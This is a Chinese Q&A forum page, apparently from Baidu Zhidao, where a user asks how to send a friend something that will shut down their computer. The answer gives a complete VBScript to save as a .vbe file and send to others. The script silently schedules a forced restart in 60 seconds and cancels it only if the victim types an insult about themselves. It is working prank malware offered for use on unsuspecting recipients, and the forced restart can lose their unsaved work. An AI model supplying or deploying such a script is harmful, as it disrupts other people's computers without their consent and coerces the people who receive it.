恶搞关机怎么弄啊。

来源:百度知道 编辑:UC知道 时间:2024/05/09 04:08:07
就是聊天时发给别人一个什么东西的。在规定的时间内让他电脑关机的那种啊。各位大虾传授一下撒,。
麻烦讲清楚一点哈。我超菜鸟。

复制下面这么到记事本

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵,猪"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"

把它保存,注意后面加的是.vbe 然后发给别人看看,也可以自己打开试试,只要说我是猪就不会关机,不说就1分钟关你机,不信试试吧